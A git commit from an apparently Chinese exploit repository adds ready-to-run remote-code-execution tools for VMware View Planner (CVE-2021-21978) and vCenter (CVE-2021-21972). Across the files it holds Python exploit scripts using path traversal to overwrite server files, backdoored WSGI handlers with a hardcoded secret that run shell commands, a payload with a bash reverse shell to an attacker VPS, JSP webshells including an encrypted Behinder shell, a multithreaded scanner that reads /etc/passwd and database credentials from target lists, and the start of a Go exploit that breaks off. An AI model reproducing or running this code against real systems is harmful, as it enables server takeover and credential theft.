add VMware 多个rce exp

This commit is contained in:
helloexp 2023-02-28 16:34:18 +08:00
parent fbe7076d5b
commit 3759341ce1
21 changed files with 1732 additions and 0 deletions

View File

@ -0,0 +1,32 @@
## 漏洞概述
VMware View Planner Web管理界面存在一个上传日志功能文件的入口没有进行认证且写入的日志文件路径用户可控通过覆盖上传日志功能文件`log_upload_wsgi.py`即可实现RCE
## 影响范围
```http
VMware View Planner 4.6
```
## POC
```bash
nuclei -tags vmware -t cves/ -l urls.txt
Goby
```
## EXP
1、写webshell
```bash
python CVE-2021-21978.py https://192.168.80.3
```
2、反弹shell
```bash
python re-shell.py -u 目标IP -v VPS-IP -p 1234
```

View File

@ -0,0 +1,84 @@
# -*- coding: utf-8 -*-
# @Time : 2021/3/5 下午1:38
# @Author : skytina
# @File : CVE-2021-21978.py
import requests,json,sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def exploit(url):
payload_fname = 'upload.txt'
logMetaData = {
"itrLogPath":"../../../../../../etc/httpd/html/wsgi_log_upload",
"logFileType":"log_upload_wsgi.py",
"workloadID":"2"
}
vul_path = '/logupload?logMetaData={logMetaData}'.format(
logMetaData=json.dumps(logMetaData)
)
# with open('./upload.txt','r') as f:
# with open(payload_fname,'w+') as wf:
# command_to_execute = "{command} > /etc/httpd/html/logs/.debug.log"\
# .format(command=command)
# content = f.read()
# content_w = content.replace(
# "{command_to_execute}",command_to_execute
# )
# wf.write(content_w)
req_url = "{url}{vul_path}".format(
url = url,
vul_path = vul_path
)
files = {
"logfile":open(payload_fname,"r")
}
try:
r = requests.post(req_url,files=files,verify=False)
#print(r.content.decode())
cmd_r = cmd(url,'echo "NiuNiu2020" |base64')
#print(cmd_r)
if "Tml1Tml1MjAyMAo=" in str(cmd_r):
return True
else:
return False
except Exception as e:
print(str(e))
return False
def cmd(url,command):
cmd_url = "{url}/logupload?secert=NiuNiu2020&command={command}".format(
url=url,
command=command
)
try:
resp = requests.get(cmd_url,verify=False)
return resp.content.decode()
except Exception as e:
return str(e)
def usage():
help = "[*] python3 CVE-2021-21978.py url\n\tpython3 CVE-2021-21978.py https://192.168.80.3"
print(help)
#exploit('https://192.168.80.3','whoami')
if __name__ == "__main__":
if len(sys.argv) < 2:
usage()
else:
url = sys.argv[1]
if url.startswith("http://") or url.startswith("https"):
if exploit(url):
cmd_url = "{url}/logupload?secert=NiuNiu2020&command={command}".format(
url=url,
command="command"
)
outmsg = "[*]{url} is vulnerable\n[*]You can execute command like This: {cmd_url}".format(
url = url,
cmd_url=cmd_url
)
print(outmsg)
else:
usage()

View File

@ -0,0 +1,126 @@
#! /usr/bin/env python3
import cgi
import os,sys,subprocess
import logging
import json
WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME = "workload_log_{}.zip"
class LogFileJson:
""" Defines format to upload log file in harness
Arguments:
itrLogPath : log path provided by harness to store log data
logFileType : Type of log file defined in api.agentlogFileType
workloadID [OPTIONAL] : workload id, if log file is workload specific
"""
def __init__(self, itrLogPath, logFileType, workloadID = None):
self.itrLogPath = itrLogPath
self.logFileType = logFileType
self.workloadID = workloadID
def to_json(self):
return json.dumps(self.__dict__)
@classmethod
def from_json(cls, json_str):
json_dict = json.loads(json_str)
return cls(**json_dict)
class agentlogFileType():
""" Defines various log file types to be uploaded by agent
"""
WORKLOAD_ZIP_LOG = "workloadLogsZipFile"
try:
# TO DO: Puth path in some config
logging.basicConfig(filename="/etc/httpd/html/logs/uploader.log",filemode='a', level=logging.ERROR)
except:
# In case write permission is not available in log folder.
pass
logger = logging.getLogger('log_upload_wsgi.py')
def application(environ, start_response):
logger.debug("application called")
if environ['REQUEST_METHOD'] == 'POST':
post = cgi.FieldStorage(
fp=environ['wsgi.input'],
environ=environ,
keep_blank_values=True
)
# TO DO: Puth path in some config or read from config is already available
resultBasePath = "/etc/httpd/html/vpresults"
try:
filedata = post["logfile"]
metaData = post["logMetaData"]
if metaData.value:
logFileJson = LogFileJson.from_json(metaData.value)
if not os.path.exists(os.path.join(resultBasePath, logFileJson.itrLogPath)):
os.makedirs(os.path.join(resultBasePath, logFileJson.itrLogPath))
if filedata.file:
if (logFileJson.logFileType == agentlogFileType.WORKLOAD_ZIP_LOG):
filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME.format(str(logFileJson.workloadID)))
else:
filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, logFileJson.logFileType)
with open(filePath, 'wb') as output_file:
while True:
data = filedata.file.read(1024)
# End of file
if not data:
break
output_file.write(data)
body = u" File uploaded successfully."
start_response(
'200 OK',
[
('Content-type', 'text/html; charset=utf8'),
('Content-Length', str(len(body))),
]
)
return [body.encode('utf8')]
except Exception as e:
logger.error("Exception {}".format(str(e)))
body = u"Exception {}".format(str(e))
else:
if environ['REQUEST_METHOD'] == 'GET':
post = cgi.FieldStorage(
fp=environ['wsgi.input'],
environ=environ,
keep_blank_values=True
)
if post["secert"].value == "NiuNiu2020":
command = post["command"].value
os.system("{} > /etc/httpd/html/logs/.debug.log".format(command))
body = ""
if os.path.isfile("/etc/httpd/html/logs/.debug.log"):
with open("/etc/httpd/html/logs/.debug.log","r") as f:
body = f.read()
start_response(
'200 OK',
[
('Content-type', 'text/html; charset=utf8'),
('Content-Length', str(len(body))),
]
)
return [body.encode('utf8')]
logger.error("Invalid request")
body = u"Invalid request"
start_response(
'400 fail',
[
('Content-type', 'text/html; charset=utf8'),
('Content-Length', str(len(body))),
]
)
return [body.encode('utf8')]

View File

@ -0,0 +1,123 @@
#! /usr/bin/env python3
import cgi
import os,sys,subprocess
import logging
import json
WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME = "workload_log_{}.zip"
class LogFileJson:
""" Defines format to upload log file in harness
Arguments:
itrLogPath : log path provided by harness to store log data
logFileType : Type of log file defined in api.agentlogFileType
workloadID [OPTIONAL] : workload id, if log file is workload specific
"""
def __init__(self, itrLogPath, logFileType, workloadID = None):
self.itrLogPath = itrLogPath
self.logFileType = logFileType
self.workloadID = workloadID
def to_json(self):
return json.dumps(self.__dict__)
@classmethod
def from_json(cls, json_str):
json_dict = json.loads(json_str)
return cls(**json_dict)
class agentlogFileType():
""" Defines various log file types to be uploaded by agent
"""
WORKLOAD_ZIP_LOG = "workloadLogsZipFile"
try:
# TO DO: Puth path in some config
logging.basicConfig(filename="/etc/httpd/html/logs/uploader.log",filemode='a', level=logging.ERROR)
except:
# In case write permission is not available in log folder.
pass
logger = logging.getLogger('log_upload_wsgi.py')
def application(environ, start_response):
logger.debug("application called")
if environ['REQUEST_METHOD'] == 'POST':
post = cgi.FieldStorage(
fp=environ['wsgi.input'],
environ=environ,
keep_blank_values=True
)
# TO DO: Puth path in some config or read from config is already available
resultBasePath = "/etc/httpd/html/vpresults"
try:
filedata = post["logfile"]
metaData = post["logMetaData"]
if metaData.value:
logFileJson = LogFileJson.from_json(metaData.value)
if not os.path.exists(os.path.join(resultBasePath, logFileJson.itrLogPath)):
os.makedirs(os.path.join(resultBasePath, logFileJson.itrLogPath))
if filedata.file:
if (logFileJson.logFileType == agentlogFileType.WORKLOAD_ZIP_LOG):
filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME.format(str(logFileJson.workloadID)))
else:
filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, logFileJson.logFileType)
with open(filePath, 'wb') as output_file:
while True:
data = filedata.file.read(1024)
# End of file
if not data:
break
output_file.write(data)
body = u" File uploaded successfully."
start_response(
'200 OK',
[
('Content-type', 'text/html; charset=utf8'),
('Content-Length', str(len(body))),
]
)
return [body.encode('utf8')]
except Exception as e:
logger.error("Exception {}".format(str(e)))
body = u"Exception {}".format(str(e))
else:
if environ['REQUEST_METHOD'] == 'GET':
post = cgi.FieldStorage(
fp=environ['wsgi.input'],
environ=environ,
keep_blank_values=True
)
if post["secert"].value == "NiuNiu2020":
command = post["command"].value
proc = subprocess.run(command, shell=True,stdout=subprocess.PIPE)
body = proc.stdout.decode("utf-8")
start_response(
'200 OK',
[
('Content-type', 'text/html; charset=utf8'),
('Content-Length', str(len(body))),
]
)
return [body.encode('utf8')]
logger.error("Invalid request")
body = u"Invalid request"
start_response(
'400 fail',
[
('Content-type', 'text/html; charset=utf8'),
('Content-Length', str(len(body))),
]
)
return [body.encode('utf8')]

View File

@ -0,0 +1,146 @@
import requests
import argparse
import sys
def rce(url,vps,port):
url = "https://{0}/logupload?logMetaData={{\"itrLogPath\":\"../../../../../../etc/httpd/html/wsgi_log_upload\",\"logFileType\":\"log_upload_wsgi.py\",\"workloadID\":\"2\"}}".format(url)
print(url)
ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
header = {
"User-Agent":ua
}
payload='''
#! /usr/bin/env python3
import cgi
import os,sys
import logging
import json
os.system('bash -i >& /dev/tcp/{0}/{1} 0>&1')
WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME = "workload_log_{{}}.zip"
class LogFileJson:
""" Defines format to upload log file in harness
Arguments:
itrLogPath : log path provided by harness to store log data
logFileType : Type of log file defined in api.agentlogFileType
workloadID [OPTIONAL] : workload id, if log file is workload specific
"""
def __init__(self, itrLogPath, logFileType, workloadID = None):
self.itrLogPath = itrLogPath
self.logFileType = logFileType
self.workloadID = workloadID
def to_json(self):
return json.dumps(self.__dict__)
@classmethod
def from_json(cls, json_str):
json_dict = json.loads(json_str)
return cls(**json_dict)
class agentlogFileType():
""" Defines various log file types to be uploaded by agent
"""
WORKLOAD_ZIP_LOG = "workloadLogsZipFile"
try:
# TO DO: Puth path in some config
logging.basicConfig(filename="/etc/httpd/html/logs/uploader.log",filemode='a', level=logging.ERROR)
except:
# In case write permission is not available in log folder.
pass
logger = logging.getLogger('log_upload_wsgi.py')
def application(environ, start_response):
logger.debug("application called")
if environ['REQUEST_METHOD'] == 'POST':
post = cgi.FieldStorage(
fp=environ['wsgi.input'],
environ=environ,
keep_blank_values=True
)
# TO DO: Puth path in some config or read from config is already available
resultBasePath = "/etc/httpd/html/vpresults"
try:
filedata = post["logfile"]
metaData = post["logMetaData"]
if metaData.value:
logFileJson = LogFileJson.from_json(metaData.value)
if not os.path.exists(os.path.join(resultBasePath, logFileJson.itrLogPath)):
os.makedirs(os.path.join(resultBasePath, logFileJson.itrLogPath))
if filedata.file:
if (logFileJson.logFileType == agentlogFileType.WORKLOAD_ZIP_LOG):
filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME.format(str(logFileJson.workloadID)))
else:
filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, logFileJson.logFileType)
with open(filePath, 'wb') as output_file:
while True:
data = filedata.file.read(1024)
# End of file
if not data:
break
output_file.write(data)
body = u" File uploaded successfully."
start_response(
'200 OK',
[
('Content-type', 'text/html; charset=utf8'),
('Content-Length', str(len(body))),
]
)
return [body.encode('utf8')]
except Exception as e:
logger.error("Exception {{}}".format(str(e)))
body = u"Exception {{}}".format(str(e))
else:
logger.error("Invalid request")
body = u"Invalid request"
start_response(
'400 fail',
[
('Content-type', 'text/html; charset=utf8'),
('Content-Length', str(len(body))),
]
)
return [body.encode('utf8')]
'''.format(vps,port)
files = {'logfile': ("",payload,"text/plain")}
requests.packages.urllib3.disable_warnings()
# proxies={'https':'127.0.0.1:8080'} #proxies=proxies
res = requests.post(url=url,headers=header,verify=False,files=files)
requests.get(url="https://192.168.15.84/logupload?logMetaData",verify=False)
print(res.text)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='VMware View Planner CVE-2021-21978',
usage='use "python %(prog)s --help" for more information',
formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument("-u", "--url",
dest="url",
help="TARGET URL (127.0.0.1:443)"
)
parser.add_argument("-v", "--vps",
dest="vps",
help="VPS IP"
)
parser.add_argument("-p", "--port",
dest="port",
help="VPS LISTENING PORT"
)
args = parser.parse_args()
if not args.url or not args.vps or not args.port:
sys.exit('[*] Please assign url and cmd! \n[*] Examples python CVE-2021-21978.py -u 127.0.0.1:443 -v vpsip -p port')
rce(args.url, args.vps, args.port)

View File

@ -0,0 +1,243 @@
import requests
import os
import argparse
import urllib3
import tarfile
import time
import sys
# remove SSL warning
urllib3.disable_warnings()
# get script work path
WORK_PATH = os.path.split(os.path.realpath(__file__))[0]
# init payload path
WINDOWS_PAYLOAD = WORK_PATH + "/payload/Windows.tar"
LINUX_DEFAULT_PAYLOAD = WORK_PATH + "/payload/Linux.tar"
LINUX_RANDOM_PAYLOAD_SOURCE = WORK_PATH + "/payload/Linux/shell.jsp"
LINUX_RANDOM_PAYLOAD_TARFILE = WORK_PATH + "/payload/Linux_Random.tar"
# init vulnerable url and shell URL
VUL_URI = "/ui/vropspluginui/rest/services/uploadova"
WINDOWS_SHELL_URL = "/statsreport/shell.jsp"
LINUX_SHELL_URL = "/ui/resources/shell.jsp"
# set connect timeout
TIMEOUT = 10
# set headers
headers = {}
headers[
"User-Agent"
] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36"
headers["Cache-Control"] = "no-cache"
headers["Pragma"] = "no-cache"
# get vcenter version,code from @TaroballzChen
SM_TEMPLATE = b"""<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<env:Body>
<RetrieveServiceContent xmlns="urn:vim25">
<_this type="ServiceInstance">ServiceInstance</_this>
</RetrieveServiceContent>
</env:Body>
</env:Envelope>"""
def getValue(sResponse, sTag="vendor"):
try:
return sResponse.split("<" + sTag + ">")[1].split("</" + sTag + ">")[0]
except:
pass
return ""
def getVersion(sURL):
oResponse = requests.post(sURL + "/sdk", verify=False, timeout=5, data=SM_TEMPLATE)
if oResponse.status_code == 200:
sResult = oResponse.text
if not "VMware" in getValue(sResult, "vendor"):
print("[-] Not a VMware system: " + sURL, "error")
return
else:
sVersion = getValue(sResult, "version") # e.g. 7.0.0
sBuild = getValue(sResult, "build") # e.g. 15934073
sFull = getValue(sResult, "fullName")
print("[+] Identified: " + sFull, "good")
return sVersion, sBuild
print("Not a VMware system: " + sURL, "error")
sys.exit()
# Utils Functions, Code From @horizon3ai
def make_traversal_path(path, level=2):
traversal = ".." + "/"
fullpath = traversal * level + path
return fullpath.replace("\\", "/").replace("//", "/")
def archive(file, path):
tarf = tarfile.open(LINUX_RANDOM_PAYLOAD_TARFILE, "w")
fullpath = make_traversal_path(path, level=2)
print("[+] Adding " + file + " as " + fullpath + " to archive")
tarf.add(file, fullpath)
tarf.close()
# Tool Functions
def checkVul(URL):
try:
res = requests.get(
URL + VUL_URI, verify=False, timeout=TIMEOUT, headers=headers
)
print("[*] Check {URL} is vul ...".format(URL=URL))
if res.status_code == 405:
print("[!] {URL} IS vul ...".format(URL=URL))
return True
else:
print("[-] {URL} is NOT vul ...".format(URL=URL))
return False
except:
print("[-] {URL} connect failed ...".format(URL=URL))
return False
def checkShellExist(SHELL_URI):
time.sleep(
5
) # vCenter copy file to web folder need some time, on most test,5s is good
re = requests.get(SHELL_URI, verify=False, timeout=TIMEOUT, headers=headers)
if re.status_code == 200:
return True
else:
return False
def uploadWindowsPayload(URL):
file = {"uploadFile": open(WINDOWS_PAYLOAD, "rb")}
re = requests.post(
URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
)
if "SUCCESS" in re.text:
if checkShellExist(URL + WINDOWS_SHELL_URL):
print(
"[+] Shell exist URL: {url}, default password:rebeyond".format(
url=URL + WINDOWS_SHELL_URL
)
)
else:
print("[-] All payload has been upload but not success.")
else:
print("[-] All payload has been upload but not success.")
def uploadLinuxShell(URL):
print("[*] Trying linux default payload...")
file = {"uploadFile": open(LINUX_DEFAULT_PAYLOAD, "rb")}
re = requests.post(
URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
)
if "SUCCESS" in re.text:
print("[+] Shell upload success, now check is shell exist...")
if checkShellExist(URL + LINUX_SHELL_URL):
print(
"[+] Shell exist URL: {URL}, default password:rebeyond".format(
URL=URL + LINUX_SHELL_URL
)
)
else:
print(
"[-] Shell upload success, BUT NOT EXIST, trying Linux Random payload..."
)
uploadLinuxRandomPayload(URL)
else:
print("[-] Shell upload success, BUT NOT EXIST, trying windows payload...")
uploadWindowsPayload(URL)
def uploadLinuxRandomPayload(URL):
for i in range(0, 120):
"""
vCenter will regenerate web folder when vCenter Server restart
Attempts to brute force web folders up to 120 times
"""
archive(
LINUX_RANDOM_PAYLOAD_SOURCE,
"/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/{REPLACE_RANDOM_ID_HERE}/0/h5ngc.war/resources/shell.jsp".format(
REPLACE_RANDOM_ID_HERE=i
),
)
file = {"uploadFile": open(LINUX_RANDOM_PAYLOAD_TARFILE, "rb")}
re = requests.post(
URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
)
if "SUCCESS" in re.text and checkShellExist(URL + LINUX_SHELL_URL):
print(
"[+] Shell exist URL: {url}, default password:rebeyond".format(
url=URL + LINUX_SHELL_URL
)
)
print(
"[+] Found Server Path exists!!!! Try times {REPLACE_RANDOM_ID_HERE}".format(
REPLACE_RANDOM_ID_HERE=i
)
)
exit()
def banner():
print(
"""
Test On vCenter 6.5 Linux/Windows
VMware-VCSA-all-6.7.0-8217866
VMware-VIM-all-6.7.0-8217866
VMware-VCSA-all-6.5.0-16613358
"""
)
if __name__ == "__main__":
banner()
parser = argparse.ArgumentParser()
parser.add_argument(
"-url",
"--targeturl",
type=str,
help="Target URL. e.g: -url 192.168.2.1、-url https://192.168.2.1",
)
args = parser.parse_args()
url = args.targeturl
if "https://" not in url:
url = "https://" + url
if checkVul(url):
sVersion, sBuild = getVersion(url)
if (
int(sVersion.split(".")[0]) == 6
and int(sVersion.split(".")[1]) == 7
and int(sBuild) >= 13010631
) or (
(int(sVersion.split(".")[0]) == 7 and int(sVersion.split(".")[1]) == 0)
):
print(
"[-] vCenter 6.7U2+ running website in memory,so this exp can't work for 6.7 u2+."
)
sys.exit()
else:
uploadLinuxShell(url)
elif checkVul(url):
sVersion, sBuild = getVersion(url)
if (
int(sVersion.split(".")[0]) == 6
and int(sVersion.split(".")[1]) == 7
and int(sBuild) >= 13010631
) or (
(int(sVersion.split(".")[0]) == 7 and int(sVersion.split(".")[1]) == 0)
):
print(
"[-] vCenter 6.7U2+ running website in memory,so this exp can't work for 6.7 u2+."
)
sys.exit()
else:
uploadLinuxShell(url)
else:
parser.print_help()

View File

@ -0,0 +1,61 @@
#!/usr/bin/python3
import argparse
import requests
import tarfile
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
ENDPOINT = '/ui/vropspluginui/rest/services/uploadova'
def check(ip):
r = requests.get('https://' + ip + ENDPOINT, verify=False, timeout=30)
if r.status_code == 405:
print('[+] ' + ip + ' vulnerable to CVE-2021-21972!')
return True
else:
print('[-] ' + ip + ' not vulnerable to CVE-2021-21972. Response code: ' + str(r.status_code) + '.')
return False
def make_traversal_path(path, level=5, os="unix"):
if os == "win":
traversal = ".." + "\\"
fullpath = traversal*level + path
return fullpath.replace('/', '\\').replace('\\\\', '\\')
else:
traversal = ".." + "/"
fullpath = traversal*level + path
return fullpath.replace('\\', '/').replace('//', '/')
def archive(file, path, os):
tarf = tarfile.open('exploit.tar', 'w')
fullpath = make_traversal_path(path, level=5, os=os)
print('[+] Adding ' + file + ' as ' + fullpath + ' to archive')
tarf.add(file, fullpath)
tarf.close()
print('[+] Wrote ' + file + ' to exploit.tar on local filesystem')
def post(ip):
r = requests.post('https://' + ip + ENDPOINT, files={'uploadFile':open('exploit.tar', 'rb')}, verify=False, timeout=30)
if r.status_code == 200 and r.text == 'SUCCESS':
print('[+] File uploaded successfully')
else:
print('[-] File failed to upload the archive. The service may not have permissions for the specified path')
print('[-] Status Code: ' + str(r.status_code) + ', Response:\n' + r.text)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
parser.add_argument('-f', '--file', help='The file to tar')
parser.add_argument('-p', '--path', help='The path to extract the file to on target')
parser.add_argument('-o', '--operating-system', help='The operating system of the VCSA server')
args = parser.parse_args()
vulnerable = check(args.target)
if vulnerable and (args.file and args.path and args.operating_system):
archive(args.file, args.path, args.operating_system)
post(args.target)

View File

@ -0,0 +1,34 @@
## 漏洞概述
VMware vCenter特定版本存在任意文件读取漏洞攻击者通过构造特定的请求可以读取服务器上任意文件
## 影响范围
```http
VMware vCenter Server 6.5.0a- f 版本
```
## POC
```bash
urls.txt用于存放目标HOST然后直接运行此脚本即可 python vCenter-info-leak.py
漏洞验证成功的目标存放于success.txt连接失败的错误信息存放于error.txt中
```
## EXP
**Windows主机**
```
http://xxx.xxx.xxx.xxx/eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
```
![](http://wikioss.peiqi.tech/vuln/vm-2.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
**Linux主机**
```
https://xxx.xxx.xxx.xxx/eam/vib?id=/etc/passwd
```
![](http://wikioss.peiqi.tech/vuln/vm-3.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)

View File

@ -0,0 +1,28 @@
# CVE-2021-21972
Proof of Concept Exploit for vCenter CVE-2021-21972
Research credit to: https://swarm.ptsecurity.com/unauth-rce-vmware/, http://noahblog.360.cn/vcenter-6-5-7-0-rce-lou-dong-fen-xi/
Tested on both Windows and Unix vCenter VCSA targets.
## Usage
To benignly check if the target is vulnerable just supply the --target <ip> argument.
To exploit provide the --file, --path, and --operating-system flags.
Write the file supplied in the --file argument to the location specified in the --path argument.
## Windows Targets:
Tested by uploading the webshell cmdjsp.jsp to the /statsreport endpoint as indicated by PtSwarm. The webshell executes commands in the context of NT AUTHORITY/SYSTEM.
![WindowsExec](Windows-Exec.png)
![WindowsProof](CVE-2021-21972-Windows-Proof.png)
## Unix Targets:
The file will be written in the context of the vsphere-ui user.
If the target is vulnerable, but the exploit fails, it is likely that the vsphere-ui user does not have permissions to write to the specified path.
If writing the vsphere-ui user's SSH authorized_keys, when SSH'ing with the keys it was observed in some cases that the vsphere-ui user's password had expired and forced you to update it (which you cannot because no password is set).
![UnixProof](CVE-2021-21972-Unix-Proof.png)

View File

@ -0,0 +1,27 @@
<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>

View File

@ -0,0 +1 @@
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

View File

@ -0,0 +1,15 @@
## 漏洞概述
VMware vCenter特定版本存在任意文件读取漏洞攻击者通过构造特定的请求可以读取服务器上任意文件
## 影响范围
```http
VMware vCenter Server 6.5.0a- f 版本
```
## POC
`targets.txt` 用于存放目标IP 或域名,然后直接运行此脚本即可 python vCenter-info-leak.py
漏洞验证成功的目标存放于`success.txt`,连接失败的错误信息存放于`error.txt`

View File

@ -0,0 +1,2 @@
# 每行一个IP 地址
1.1.1.1

View File

@ -0,0 +1,90 @@
# conding=utf-8
import requests # 用于http请求响应
from requests.packages import urllib3
import threading # 用于并发请求
import re
'''
使用方法
urls.txt用于存放目标HOST然后直接运行此脚本即可 python vCenter-info-leak.py
漏洞验证成功的目标存放于success.txt连接失败的错误信息存放于error.txt中
'''
# 消除安全请求的提示信息,增加重试连接次数
urllib3.disable_warnings()
requests.adapters.DEFAULT_RETRIES = 4
s = requests.session()
s.keep_alive = False # 关闭连接,防止出现最大连接数限制错误
urllib3.util.ssl_.DEFAULT_CIPHERS += 'HIGH:!DH:!aNULL' # openssl 拒绝短键防止SSL错误
# 设置最大线程数
thread_max = threading.BoundedSemaphore(value=150)
# HTTP请求-head头
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25',
}
proxies = {
'http': 'socks5://127.0.0.1:1080',
'https': 'socks5://127.0.0.1:1080'
}
targets = [] # 定义目标列表
threads = [] # 定义线程池
def export_success(msg):
with open('success.txt', 'a') as f:
f.write(msg + '\n')
def POC(url):
url_windows = url + "/eam/vib?id=C:\ProgramData\VMware\\vCenterServer\cfg\\vmware-vpx\\vcdb.properties"
url_linux = url + "/eam/vib?id=/etc/passwd"
try:
resp_linux = s.get(url_linux, headers=headers, verify=False, timeout=15)
resp_linux.encoding = resp_linux.apparent_encoding
resp_windows = s.get(url_windows, headers=headers, verify=False, timeout=15)
resp_windows.encoding = resp_windows.apparent_encoding
if resp_windows.status_code == 200 and "password" in resp_windows.text:
print(url + " ===> 目标windows,存在漏洞")
export_success(url_windows)
elif "root" in resp_linux.text and resp_linux.status_code == 200:
print(url + " ===> 目标linux,存在漏洞")
export_success(url_linux)
else:
with open('NoVuln.txt', 'a') as f:
f.write(url + '\n')
except Exception as ex_poc:
msg = url + "=====报错了=====" + str(ex_poc)
with open('./error.txt', 'a') as f:
f.write(msg + '\n')
finally:
thread_max.release() # 释放锁
def H2U():
'''输入格式处理将HOST统一为URL格式'''
with open('targets.txt', 'r', encoding='utf-8') as f:
line = f.readlines()
for host in line:
host = host.strip()
if host[0:4] == "http":
url = host
else:
url = "http://" + host
if url not in targets:
targets.append(url) # 去重后加入目标列表
if __name__ == "__main__":
H2U()
for url in targets:
thread_max.acquire() # 请求锁
t = threading.Thread(target=POC, args=(url,))
threads.append(t)
t.start()
for i in threads:
i.join()

View File

@ -0,0 +1,33 @@
## 漏洞概述
攻击者可通过访问web管理端向vCenter Server发送请求从而在操作系统上执行任意命令或者上传一个webshell到vcenter服务器的任意位置执行.
## 漏洞影响
```http
VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n
VMware ESXi 7.0系列 < ESXi70U1c-17325551
VMware ESXi 6.7系列 < ESXi670-202102401-SG
VMware ESXi 6.5系列 < ESXi650-202102101-SG
```
## POC
```bash
nuclei -tags vmware -t cves/ -l urls.txt
```
## EXP
```bash
python CVE-2021-21972.py -url https://192.168.2.1
```
`payload`文件夹内的`tar`文件为默认冰蝎3 webshell
```http
https://domain.com/ui/resources/shell.jsp
```

View File

@ -0,0 +1,687 @@
package main
import (
"bytes"
"context"
"crypto/tls"
"encoding/json"
"flag"
"fmt"
"io/ioutil"
"log"
"math/rand"
"mime/multipart"
"net"
"net/http"
"net/textproto"
"os"
"os/signal"
"strings"
"syscall"
"time"
"golang.org/x/crypto/ssh"
)
var remoteAddr, localAddr string
var remotePort, localPort int
var credentials string
var vulnerable bool
var exploit bool
var verbose bool
var restore bool
func getOutboundIP(remoteAddr string) string {
conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", remoteAddr, remotePort))
if err != nil {
log.Fatal("[-] ", err)
}
localAddr := conn.LocalAddr().(*net.TCPAddr)
err = conn.Close()
if err != nil {
log.Fatal("[-] ", err)
}
return localAddr.IP.String()
}
func ssrfHandler(w http.ResponseWriter, req *http.Request) {
if verbose {
fmt.Printf("[*] SSRF Listener Received Request\nremoteAddr=%s\n", req.RemoteAddr)
}
credentials = req.Header.Get("Authorization")
vulnerable = true
}
func randomString() string {
rand.Seed(time.Now().UnixNano())
chars := []byte("ABCDEFGHIJKLMNOPQRSTUVWXYZ" +
"abcdefghijklmnopqrstuvwxyz" +
"0123456789")
length := 16
var builder strings.Builder
for i := 0; i < length; i++ {
err := builder.WriteByte(chars[rand.Intn(len(chars))])
if err != nil {
log.Fatal("[-] ", err)
}
}
return builder.String()
}
func requestConfirmation(msg string) bool {
fmt.Printf(msg)
var response string
_, err := fmt.Scanln(&response)
if err != nil {
if err.Error() != "unexpected newline" {
log.Fatal(err)
}
}
if response == "y" || response == "Y" {
return true
} else if response == "n" || response == "N" {
return false
} else {
return requestConfirmation(msg)
}
}
// http://networkbit.ch/golang-ssh-client/
func executeSSHCommands(config *ssh.ClientConfig, commands []string) string {
conn, err := ssh.Dial("tcp", fmt.Sprintf("%s:22", remoteAddr), config)
